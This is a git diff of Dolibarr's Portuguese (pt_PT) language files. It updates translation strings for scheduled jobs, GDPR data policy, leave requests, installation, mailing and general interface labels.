b/htdocs/langs/pt_PT/cron.lang @@ -26,7 +26,7 @@ CronCommand=Comando CronList=Trabalhos agendadas CronDelete=Eliminar tarefas agendadas CronConfirmDelete=Tem a certeza que deseja eliminar estas tarefas agendadas? -CronExecute=Iniciar tarefa agendada +CronExecute=Launch now CronConfirmExecute=Tem a certeza de que deseja executar agora estas tarefas agendadas? CronInfo=O módulo de tarefas agendadas permite agendar tarefas para executá-las automaticamente. As tarefas também podem ser iniciadas manualmente. CronTask=Tarefa @@ -58,7 +58,7 @@ CronNote=Comentário CronFieldMandatory=Os campos %s são obrigatórios CronErrEndDateStartDt=A data de fim não pode ser anterior à data de início StatusAtInstall=Estado da instalação do módulo -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Desativar CronTaskInactive=This job is disabled (not scheduled) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - JobDisabled=Job disabled MakeLocalDatabaseDumpShort=Local database backup MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. DATAPOLICYJob=Data cleaner and anonymizer JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/pt_PT/datapolicy.lang b/htdocs/langs/pt_PT/datapolicy.lang new file mode 100644 index 00000000000..7398e2400da --- /dev/null +++ b/htdocs/langs/pt_PT/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Cliente +DATAPOLICY_TIERS_PROSPECT = Cliente Potencial +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Fornecedor +DATAPOLICY_CONTACT_CLIENT = Cliente +DATAPOLICY_CONTACT_PROSPECT = Cliente Potencial +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Fornecedor +DATAPOLICY_ADHERENT = Membro +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/pt_PT/deliveries.lang b/htdocs/langs/pt_PT/deliveries.lang index c8777e9fdf1..8127653527a 100644 --- a/htdocs/langs/pt_PT/deliveries.lang +++ b/htdocs/langs/pt_PT/deliveries.lang @@ -2,7 +2,7 @@ Delivery=Distribuição DeliveryRef=Ref. de entrega DeliveryCard=Ficha de recibo -DeliveryOrder=Delivery receipt +DeliveryOrder=Recibo de entrega DeliveryDate=Data da entrega CreateDeliveryOrder=Gerar recibo de entrega DeliveryStateSaved=Estado da entrega guardado @@ -18,7 +18,7 @@ StatusDeliveryCanceled=Cancelada StatusDeliveryDraft=Rascunho StatusDeliveryValidated=Recebido # merou PDF model -NameAndSignature=Name and Signature: +NameAndSignature=Nome e assinatura: ToAndDate=Em___________________________________ a ____/_____/__________ GoodStatusDeclaration=Recebi a mercadoria em bom estado, Deliverer=Deliverer: diff --git a/htdocs/langs/pt_PT/dict.lang b/htdocs/langs/pt_PT/dict.lang index 9856d22ca60..15d61774a5a 100644 --- a/htdocs/langs/pt_PT/dict.lang +++ b/htdocs/langs/pt_PT/dict.lang @@ -21,7 +21,7 @@ CountryNL=Holanda CountryHU=Hungria CountryRU=Russia CountrySE=Suécia -CountryCI=Costa do Marfim +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Camarões @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Sra. +CivilityMMEShort=Sra. CivilityMR=Sr. +CivilityMRShort=Sr. CivilityMLE=Doutor CivilityMTRE=Mestre CivilityDR=Dr. diff --git a/htdocs/langs/pt_PT/ecm.lang b/htdocs/langs/pt_PT/ecm.lang index 46400b3ce46..d8ad21d5b5f 100644 --- a/htdocs/langs/pt_PT/ecm.lang +++ b/htdocs/langs/pt_PT/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Diretoria manual ECMSectionAuto=Pasta automática ECMSectionsManual=Pastas manuais ECMSectionsAuto=Pastas automáticas +ECMSectionsMedias=Medias tree ECMSections=Pastas ECMRoot=Raiz do GCE ECMNewSection=Nova diretoria @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Número de ficheiros em sub-pastas ECMCreationUser=Criador ECMArea=A área de SGD/GCE ECMAreaDesc=A área de SGD/GCE (Sistema de Gestão de Documentos/Gestão de Conteúdo Eletrónico) permite salvar, compartilhar e pesquisar rapidamente todos os tipos de documentos no Dolibarr. -ECMAreaDesc2=* As diretorias automáticas são preenchidas automaticamente ao adicionar documentos a partir de uma ficha de um elemento.
      * As diretorias manuais podem ser utlizadas para guardar documentos não associados a um elemento específico. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=A pasta %s foi eliminada. ECMSectionWasCreated=O diretório %s foi criado. ECMSearchByKeywords=Procurar por palavras-chave diff --git a/htdocs/langs/pt_PT/holiday.lang b/htdocs/langs/pt_PT/holiday.lang index f310930968a..e2e20bb2e5c 100644 --- a/htdocs/langs/pt_PT/holiday.lang +++ b/htdocs/langs/pt_PT/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=GRH -Holidays=Sair +Holidays=Leaves +Holiday=Sair CPTitreMenu=Sair MenuReportMonth=Comunicado mensal MenuAddCP=Novo pedido de licença +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Você deve ativar o módulo Deixar para ver esta página. AddCP=Efetue um pedido de licença DateDebCP=Data de início @@ -56,6 +58,7 @@ ConfirmDeleteCP=Tem a certeza que deseja eliminar este pedido de licença? ErrorCantDeleteCP=Erro, você não tem permissão para eliminar este pedido de licença. CantCreateCP=Você não tem permissão para fazer pedidos de licença. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Deve escolher uma data de início. NoDateFin=Deve escolher uma data de fim. ErrorDureeCP=O seu pedido de licença não contém dias úteis. @@ -79,13 +82,22 @@ MotifCP=Motivo UserCP=Utilizador ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Ver os registos de alteração LogCP=Log of all updates made to "Balance of Leave" -ActionByCP=Updated by +ActionByCP=Atualizado por UserUpdateCP=Updated for PrevSoldeCP=Balanço prévio NewSoldeCP=Novo Balanço alreadyCPexist=Um pedido de licença já foi feito para esse período. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Grupos +users=Utilizadores +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Últimos %s pedidos de licença modificados @@ -131,9 +143,16 @@ TemplatePDFHolidays=Modelo para solicitações de licenças PDF FreeLegalTextOnHolidays=Texto livre em PDF WatermarkOnDraftHolidayCards=Marcas d'água em pedidos de licença de rascunho HolidaysToApprove=Holidays to approve -NobodyHasPermissionToValidateHolidays=Nobody has permission to validate holidays -HolidayBalanceMonthlyUpdate=Monthly update of holiday balance +NobodyHasPermissionToValidateHolidays=Nobody has permission to validate leave requests +HolidayBalanceMonthlyUpdate=Monthly update of leave balance XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase leave balance +HolidayRecordsIncreased= %s leave balances increased +HolidayRecordIncreased=Leave balance increased +ConfirmMassIncreaseHoliday=Bulk leave balance increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/pt_PT/install.lang b/htdocs/langs/pt_PT/install.lang index 31f5a8642b3..964c155c622 100644 --- a/htdocs/langs/pt_PT/install.lang +++ b/htdocs/langs/pt_PT/install.lang @@ -51,7 +51,6 @@ DatabaseName=Nome da Base de Dados DatabasePrefix=Prefixo da tabela de banco de dados DatabasePrefixDescription=Prefixo da tabela do banco de dados. Se vazio, o padrão é llx_. AdminLogin=Conta de usuário para o proprietário do banco de dados Dolibarr. -PasswordAgain=Redigite a confirmação da senha AdminPassword=A senha para o utilizador da base de dados Dolibarr. CreateDatabase=Criar base de dados CreateUser=Crie uma conta de usuário ou conceda permissão de conta de usuário no banco de dados Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Já existe DolibarrAdminLogin=Sessão Administrador Dolibarr AdminLoginAlreadyExists=Conta de administrador Dolibarr ' %s ' já existe. Volte se você quiser criar outro. FailedToCreateAdminLogin=Falha na criação da conta de Administrador do Dolibarr. -WarningRemoveInstallDir=Atenção, por razões de segurança, assim que a instalação ou atualização estiver completa, você deve adicionar um arquivo chamado install.lock no diretório de documentos do Dolibarr para evitar o uso acidental / malicioso das ferramentas de instalação novamente. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Não disponível neste PHP ChoosedMigrateScript=Escolhido migrar script DataMigration=Migração da base-de-dados (dados) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Ocultar opções indisponíveis ErrorFoundDuringMigration=Erro (s) foram relatados durante o processo de migração, portanto, a próxima etapa não está disponível. Para ignorar erros, você pode clicar aqui , mas o aplicativo ou alguns recursos podem não funcionar corretamente até que os erros sejam resolvidos. YouTryInstallDisabledByDirLock=O aplicativo tentou fazer o upgrade automático, mas as páginas de instalação / atualização foram desativadas para segurança (o diretório foi renomeado com o sufixo .lock).
      YouTryInstallDisabledByFileLock=O aplicativo tentou fazer o upgrade automático, mas as páginas de instalação / atualização foram desativadas para segurança (pela existência de um arquivo de bloqueio install.lock no diretório de documentos dolibarr). +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Clique aqui para ir ao seu aplicativo ClickOnLinkOrRemoveManualy=If an upgrade is in progress, please wait. If not, click on the following link. If you always see this same page, you must remove/rename the file install.lock in the documents directory. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Loaded FunctionTest=Function test +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/pt_PT/interventions.lang b/htdocs/langs/pt_PT/interventions.lang index 6e007f30c96..495ba0b6240 100644 --- a/htdocs/langs/pt_PT/interventions.lang +++ b/htdocs/langs/pt_PT/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Oculta as horas e minutos campo de data dos regist InterventionStatistics=Estatísticas das intervenções NbOfinterventions=No. of intervention cards NumberOfInterventionsByMonth=No. of intervention cards by month (date of validation) -AmountOfInteventionNotIncludedByDefault=O montante da intervenção não é incluído, por defeito, no lucro (na maioria dos casos, os quadros de horários são usados ​​para contar o tempo gasto). Adicione a opção PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT com o valor 1 em Inicio->Configurações->Outras configurações para incluí-los. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=ID da intervenção InterRef=Ref. da intervenção InterDateCreation=Data de criação da intervenção @@ -66,3 +66,7 @@ RepeatableIntervention=Template of intervention ToCreateAPredefinedIntervention=To create a predefined or recurring intervention, create a common intervention and convert it into intervention template ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? GenerateInter=Generate intervention +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/pt_PT/mailmanspip.lang b/htdocs/langs/pt_PT/mailmanspip.lang index 29eb943ad94..2d963b8a6e2 100644 --- a/htdocs/langs/pt_PT/mailmanspip.lang +++ b/htdocs/langs/pt_PT/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=O teste de subscrição foi executado com sucesso MailmanDeletionSuccess=O teste de anulação de subscrição foi executado com sucesso SynchroMailManEnabled=Uma atualização do Mailman será executada SynchroSpipEnabled=Será efetuada uma atualização ao Spip -DescADHERENT_MAILMAN_ADMINPW=Palavra-passe de administrador do Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Palavra-passe de administrador do Mailman DescADHERENT_MAILMAN_URL=URL para subscrição do Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL para anulação de subscrição do Mailman DescADHERENT_MAILMAN_LISTS=Lista(s) para a inscrição automática dos novos membros (separados por uma vírgula) diff --git a/htdocs/langs/pt_PT/mails.lang b/htdocs/langs/pt_PT/mails.lang index de9fcc1ba19..56ca932dbbf 100644 --- a/htdocs/langs/pt_PT/mails.lang +++ b/htdocs/langs/pt_PT/mails.lang @@ -7,10 +7,10 @@ MailCard=Ficha de Emailing MailRecipients=Destinatários MailRecipient=Destinatario MailTitle=Titulo -MailFrom=Remetente +MailFrom=De MailErrorsTo=Erros a MailReply=Responder a -MailTo=Destinatario(s) +MailTo=Cliente MailToUsers=Para utilizador(es) MailCC=Cópia a MailToCCUsers=Copiar para utilizador(es) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contatos por posição MailingModuleDescEmailsFromFile=E-mails do arquivo MailingModuleDescEmailsFromUser=Entrada de e-mails pelo usuário MailingModuleDescDolibarrUsers=Usuários com e-mails -MailingModuleDescThirdPartiesByCategories=Terceiros (por categorias) +MailingModuleDescThirdPartiesByCategories=Terceiros SendingFromWebInterfaceIsNotAllowed=Envio de interface web não é permitido. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/pt_PT/main.lang b/htdocs/langs/pt_PT/main.lang index 21ae8fa4148..5a3dcb3d9fd 100644 --- a/htdocs/langs/pt_PT/main.lang +++ b/htdocs/langs/pt_PT/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,9 +34,10 @@ NoTemplateDefined=Nenhum modelo disponível para este tipo de e-mail AvailableVariables=Variáveis de substituição disponíveis NoTranslation=Sem tradução Translation=Tradução +Translations=Traduções CurrentTimeZone=Zona Horária PHP (servidor) EmptySearchString=Introduza alguns critérios de pesquisa -EnterADateCriteria=Enter a date criteria +EnterADateCriteria=Insira um critério de data NoRecordFound=Nenhum foi encontrado nenhum registo NoRecordDeleted=Nenhum registo eliminado NotEnoughDataYet=Não existe dados suficientes @@ -67,7 +74,7 @@ ErrorNoVATRateDefinedForSellerCountry=Erro, nenhum tipo de IVA definido para o p ErrorNoSocialContributionForSellerCountry=Erro, nenhum tipo de contribuição social definida para o país %s. ErrorFailedToSaveFile=Erro, o registo do ficheiro falhou. ErrorCannotAddThisParentWarehouse=Você está a tentar adicionar um armazém "pai" que já é um armazém "filho" de um armazém já existente. -FieldCannotBeNegative=Field "%s" cannot be negative +FieldCannotBeNegative=O campo "%s" não pode ser negativo MaxNbOfRecordPerPage=Número máximo de registos por página NotAuthorized=Não tem permissão para efetuar essa operação SetDate=Definir data @@ -88,7 +95,7 @@ FileWasNotUploaded=Um ficheiro foi seleccionada para ser anexado, mas ainda não NbOfEntries=N.º de entradas GoToWikiHelpPage=Consultar ajuda online (necessita de acesso à Internet) GoToHelpPage=Ir para páginas de ajuda -DedicatedPageAvailable=Dedicated help page related to your current screen +DedicatedPageAvailable=Página dedicada a ajuda relacionada com a sua tela atual HomePage=Página Inicial RecordSaved=Registo Guardado RecordDeleted=Registo eliminado @@ -115,7 +122,7 @@ ReturnCodeLastAccessInError=Retornar o código para o último pedido incorreto d InformationLastAccessInError=Informação sobre o último pedido incorreto de acesso à base de dados DolibarrHasDetectedError=O Dolibarr detectou um erro técnico YouCanSetOptionDolibarrMainProdToZero=Você pode ler o ficheiro de log ou definir a opção $dolibarr_main_prod para '0' no seu ficheiro de configuração para obter mais informações. -InformationToHelpDiagnose=This information can be useful for diagnostic purposes (you can set option $dolibarr_main_prod to '1' to hide sensitive information) +InformationToHelpDiagnose=Esta informação pode ser útil para fins de diagnóstico (pode definir a opção $dolibarr_main_prod como '1' para ocultar informações confidenciais) MoreInformation=Mais Informação TechnicalInformation=Informação técnica TechnicalID=ID Técnico @@ -181,7 +188,7 @@ SaveAndNew=Salvar e criar novo TestConnection=Testar conexão ToClone=Clonar ConfirmCloneAsk=De certeza que quer clonar o objecto %s? -ConfirmClone=Choose the data you want to clone: +ConfirmClone=Escolha os dados que deseja clonar: NoCloneOptionsSpecified=Não existem dados definidos para clonar. Of=de Go=Avançar @@ -199,6 +206,7 @@ Valid=Confirmar Approve=Aprovar Disapprove=Desaprovar ReOpen=Reabrir +OpenVerb=Ativo Upload=Carregar ToLink=Link Select=Selecionar @@ -212,12 +220,13 @@ User=Utilizador Users=Utilizadores Group=Grupo Groups=Grupos -UserGroup=User group -UserGroups=User groups +UserGroup=Grupo de utilizadores +UserGroups=Grupos de utilizadores NoUserGroupDefined=Nenhum grupo de utilizador definido Password=Senha -PasswordRetype=Contrassenha +PasswordRetype=Reescreva a sua senha NoteSomeFeaturesAreDisabled=Note que estão desativados muitos módulos/funções nesta demonstração. +YourUserFile=Seu ficheiro de utilizador Name=Nome NameSlashCompany=Nome / Empresa Person=Pessoa @@ -227,7 +236,7 @@ Value=Valor PersonalValue=Valor pessoal NewObject=Novo %s NewValue=Novo valor -OldValue=Old value %s +OldValue=Valor antigo %s CurrentValue=Valor actual Code=Código Type=Tipo @@ -244,13 +253,13 @@ Designation=Designação DescriptionOfLine=Descrição da linha DateOfLine=Data da linha DurationOfLine=Duração da linha -ParentLine=Parent line ID +ParentLine=ID da linha fonte Model=Modelo de documento DefaultModel=Modelo de documento predefinido Action=Evento About=Sobre Number=Número -NumberByMonth=Total reports by month +NumberByMonth=Total de relatórios por mês AmountByMonth=Valor por mês Numero=Número Limit=Limite @@ -267,7 +276,7 @@ Cards=Fichas Card=Ficha Now=Agora HourStart=Hora de inicio -Deadline=Deadline +Deadline=Data limite Date=Data DateAndHour=Data e Hora DateToday=Data de hoje @@ -276,13 +285,13 @@ DateStart=Data de início DateEnd=Data de fim DateCreation=Data de Criação DateCreationShort=Data de criação -IPCreation=Creation IP +IPCreation=Criação de IP DateModification=Data de Modificação DateModificationShort=Data de Modif. -IPModification=Modification IP +IPModification=Modificação de IP DateLastModification=A última data de alteração DateValidation=Data de Validação -DateSigning=Signing date +DateSigning=Data de assinatura DateClosing=Data de Encerramento DateDue=Data de Vencimento DateValue=Data do valor @@ -346,7 +355,7 @@ MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes UserAuthor=Criado por -UserModif=Updated by +UserModif=Atualizado por b=b. Kb=Kb Mb=Mb @@ -366,7 +375,7 @@ UnitPriceHTCurrency=Preço por unidade (Excl. IVA) (moeda) UnitPriceTTC=Preço Unitário PriceU=P.U. PriceUHT=P.U. (líquido) -PriceUHTCurrency=U.P (net) (currency) +PriceUHTCurrency=U.P (líquido) (moeda) PriceUTTC=P.U. (inc. impostos) Amount=Montante AmountInvoice=Montante da Fatura @@ -394,8 +403,8 @@ AmountTotal=Montante Total AmountAverage=Montante médio PriceQtyMinHT=Preço para quandidade min. (excl. IVA) PriceQtyMinHTCurrency=Preço da quantidade min. (excl. IVA) (moeda) -PercentOfOriginalObject=Percent of original object -AmountOrPercent=Amount or percent +PercentOfOriginalObject=Percentagem do objeto original +AmountOrPercent=Quantidade ou percentagem Percentage=Percentagem Total=Total SubTotal=Subtotal @@ -434,7 +443,7 @@ LT1IN=ICBS LT2IN=IBSE LT1GC=Centavos adicionais VATRate=Taxa IVA -RateOfTaxN=Rate of tax %s +RateOfTaxN=Taxa de imposto %s VATCode=Código da taxa de imposto VATNPR=Taxa de imposto NPR DefaultTaxRate=Taxa de imposto predefinida @@ -446,7 +455,7 @@ RemainToPay=Montante por pagar Module=Módulo/Aplicação Modules=Módulos/Aplicações Option=Opção -Filters=Filters +Filters=Filtros List=Lista FullList=Lista Completa FullConversation=Conversa completa @@ -481,6 +490,7 @@ ActionsOnContact=Eventos para este contacto/endereço ActionsOnContract=Eventos para este contracto ActionsOnMember=Eventos sobre este membro ActionsOnProduct=Eventos sobre este produto +ActionsOnAsset=Eventos para este bem fixo NActionsLate=%s em atraso ToDo=A realizar Completed=Concluído @@ -504,6 +514,7 @@ NotYetAvailable=Ainda não disponivel NotAvailable=Não disponivel Categories=Etiquetas/Categorias Category=Etiqueta/Categoria +SelectTheTagsToAssign=Selecione as etiquetas/categorias a atribuir By=Por From=De FromDate=De @@ -621,7 +632,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Ficheiros e Documentos Anexos JoinMainDoc=Unir ao documento principal -JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found +JoinMainDocOrLastGenerated=Envie o documento principal ou, caso não seja encontrado, o último gerado DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -668,7 +679,7 @@ SupplierPreview=Pré-visualização do fornecedor ShowCustomerPreview=Ver Historial Cliente ShowSupplierPreview=Mostrar pré-visualização do fornecedor RefCustomer=Ref. Cliente -InternalRef=Internal ref. +InternalRef=Ref. interna Currency=Moeda InfoAdmin=Informação para os administradores Undo=Desfazer @@ -690,7 +701,7 @@ SendMail=Enviar e-mail Email=Email NoEMail=Sem e-mail AlreadyRead=Já lido -NotRead=Unread +NotRead=Não lida NoMobilePhone=Sem telefone móvel Owner=Proprietário FollowingConstantsWillBeSubstituted=As seguintes constantes serão substituidas pelo seu valor correspondente. @@ -712,7 +723,7 @@ FeatureDisabled=Função Desactivada MoveBox=Mover widget Offered=Oferta NotEnoughPermissions=Não tem permissões para efectuar esta acção -UserNotInHierachy=This action is reserved to the supervisors of this user +UserNotInHierachy=Esta ação é reservada aos Supervisores deste Utilizador SessionName=Nome Sessão Method=Método Receive=Receção @@ -737,8 +748,8 @@ MenuMembers=Membros MenuAgendaGoogle=Agenda Google MenuTaxesAndSpecialExpenses=Taxas | Despesas Especiais ThisLimitIsDefinedInSetup=Límite Dolibarr (Menu inicio->configuração->segurança): %s Kb, PHP limit: %s Kb -ThisLimitIsDefinedInSetupAt=Dolibarr limit (Menu %s): %s Kb, PHP limit (Param %s): %s Kb -NoFileFound=No documents uploaded +ThisLimitIsDefinedInSetupAt=Limite do Dolibarr (Menu %s): %s Kb, limite do PHP (Param %s): %s Kb +NoFileFound=Nenhum documento enviado CurrentUserLanguage=Idioma atual CurrentTheme=Tema Actual CurrentMenuManager=Gestor de menu atual @@ -802,7 +813,7 @@ URLPhoto=Url da foto / logotipo SetLinkToAnotherThirdParty=Link para um terceiro LinkTo=Associar a LinkToProposal=Associar ao orçamento -LinkToExpedition= Link to expedition +LinkToExpedition= Link para expedição LinkToOrder=Hiperligação para encomendar LinkToInvoice=Associar a fatura LinkToTemplateInvoice=Link para a factura modelo @@ -812,7 +823,7 @@ LinkToSupplierInvoice=Link para a factura do fornecedor LinkToContract=Associar a contrato LinkToIntervention=Associar a intervenção LinkToTicket=Link para o ticket -LinkToMo=Link to Mo +LinkToMo=Link para CreateDraft=Criar Rascunho SetToDraft=Voltar para o rascunho ClickToEdit=Clique para editar @@ -856,7 +867,7 @@ XMoreLines=%s linhas(s) ocultas ShowMoreLines=Mostrar mais/menos linhas PublicUrl=URL público AddBox=Adicionar Caixa -SelectElementAndClick=Select an element and click on %s +SelectElementAndClick=Selecione um elemento e clique em %s PrintFile=Imprimir Ficheiro %s ShowTransaction=Mostrar transação 